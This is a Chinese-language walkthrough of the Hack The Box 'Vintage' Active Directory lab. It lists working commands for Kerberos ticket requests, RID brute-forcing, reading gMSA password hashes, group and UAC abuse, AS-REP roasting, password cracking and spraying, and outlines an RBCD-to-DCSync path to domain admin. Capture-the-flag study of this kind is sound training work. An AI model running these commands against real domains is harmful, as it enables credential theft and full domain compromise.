HTB打靶记录-Vintage

信息收集

nmap -sV -sC -O 10.10.11.45

1. Nmap scan report for 10.10.11.45
2. Host is up (2.1s latency).
3. Not shown: 988 filtered tcp ports (no-response)
4. PORT     STATE SERVICE       VERSION
5. 53/tcp   open  domain        Simple DNS Plus
6. 88/tcp   open  kerberos-sec?
7. 135/tcp  open  msrpc         Microsoft Windows RPC
8. 139/tcp  open  netbios-ssn?
9. 389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
10. 445/tcp  open  microsoft-ds?
11. 464/tcp  open  kpasswd5?
12. 593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
13. 636/tcp  open  tcpwrapped
14. 3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
15. 3269/tcp open  tcpwrapped
16. 5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
17. |_http-title: Not Found
18. |_http-server-header: Microsoft-HTTPAPI/2.0
19. 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
20. SF-Port139-TCP:V=7.95%I=7%D=4/7%Time=67F39479%P=x86_64-pc-linux-gnu%r(GetR
21. SF:equest,5,"\x83\0\0\x01\x8f");
22. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
23. OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
24. No OS matches for host
25. Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
27. Host script results:
28. | smb2-time:
29. |   date: 2025-04-07T08:43:58
30. |_  start_date: N/A
31. |_clock-skew: -19m07s
32. | smb2-security-mode:
33. |   3:1:1:
34. |_    Message signing enabled and required
36. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
37. Nmap done: 1 IP address (1 host up) scanned in 370.27 seconds

复制代码

题目描述给了一个凭证：P.Rosa:Rosaisbest123
GetTGT

impacket-getTGT 'vintage.htb/P.Rosa:Rosaisbest123' -dc-ip 10.10.11.45
记得要faketime
export KRB5CCNAME=P.Rosa.ccache
ldap收集信息

smb走不通，通过ldap来收集，nxc ldap 10.10.11.45 -d vintage.htb -k --use-kcache --users

1. Administrator
2. Guest
3. krbtgt
4. M.Rossi
5. R.Verdi
6. L.Bianchi
7. G.Viola
8. C.Neri
9. P.Rosa
10. svc_sql
11. svc_ldap
12. svc_ark
13. C.Neri_adm
14. L.Bianchi_adm

复制代码

ldap收集不全。改用smb
nxc smb 10.10.11.45 -d vintage.htb -u P.Rosa -k --use-kcache --rid-brute | grep "SidTypeUser"

1. Administrator
2. Guest
3. krbtgt
4. DC01$
5. gMSA01$
6. FS01$
7. M.Rossi
8. R.Verdi
9. L.Bianchi
10. G.Viola
11. C.Neri
12. P.Rosa
13. svc_sql
14. svc_ldap
15. svc_ark
16. C.Neri_adm
17. L.Bianchi_adm

复制代码

常规手法都测试了，一点信息收集不到了，直接bloodhound看有没有突破口
bloodhound

faketime "$(ntpdate -q 10.10.11.45 | grep -oP '\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}')" bloodhound-python -d vintage.htb -u P.Rosa -k -no-pass -ns 10.10.11.45 -c all --zip
FS01属于PRE-WINDOWS 2000 Compatible Access组，可以pre2k打一下试试

pre2k

pre2k unauth -d vintage.htb -dc-ip 10.10.11.45 -save -inputfile user.txt

继续查看FS01的域关系网，可以从msDS-ManagedPassword读取GMSA01的密码hash

GMSA

bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword

获取TGT，impacket-getTGT vintage.htb/'gmsa01$' -hashes :b3a15bbdfb1c53238d4b50ea2c4d1178  -dc-ip 10.10.11.45
查看gmsa01的域关系网，可以将gmsa01加入SERVICEMANAGES组

AddSelf/GerenicWrite

bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" --kerberos --dc-ip 10.10.11.45 -u 'GMSA01$' -k  add groupMember "CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB"  'GMSA01$'
查看是否添加乐成
bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" --kerberos --dc-ip 10.10.11.45 -u 'GMSA01$' -k  get object "CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB" --attr member

查看SERVICEMANAGES组的域关系网

对这三个用户有GerenicAll权限，将这三个用户的预认证关闭，打一个AS-REQ Roasting
bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH
svc_sql用户未启用，启用一下，删除UAC里的ACCOUNTDISABLE就行了
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac svc_sql -f ACCOUNTDISABLE
打AS-REQ Roasting
impacket-GetNPUsers vintage/ -request -format hashcat -usersfile user.txt -outputfile np.txt -dc-ip 10.10.11.45 -dc-host dc01.vintage.htb
爆破svc_sql的密码
john np.txt -w=/usr/share/wordlists/rockyou.txt
拿到密码：???????
用这个密码喷洒一下其他用户
kerbrute passwordspray -d vintage.htb user.txt
打中C.Neri，这里应该winrm能够连上C.Neri，但我这里死活连不上，就说一下后面的攻击思路，C.Neri也属于SERVICEMANAGES组，以是可以通过svc_sql打一个RBCD，我们要挑选高权限的用户来伪造，发现L.Bianchi_adm对域控有DCSync权限，那么就可以通过RBCD来获取L.Bianchi_adm的TGT，然后打域控的DCSync获取域管理员的NTLM Hash

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。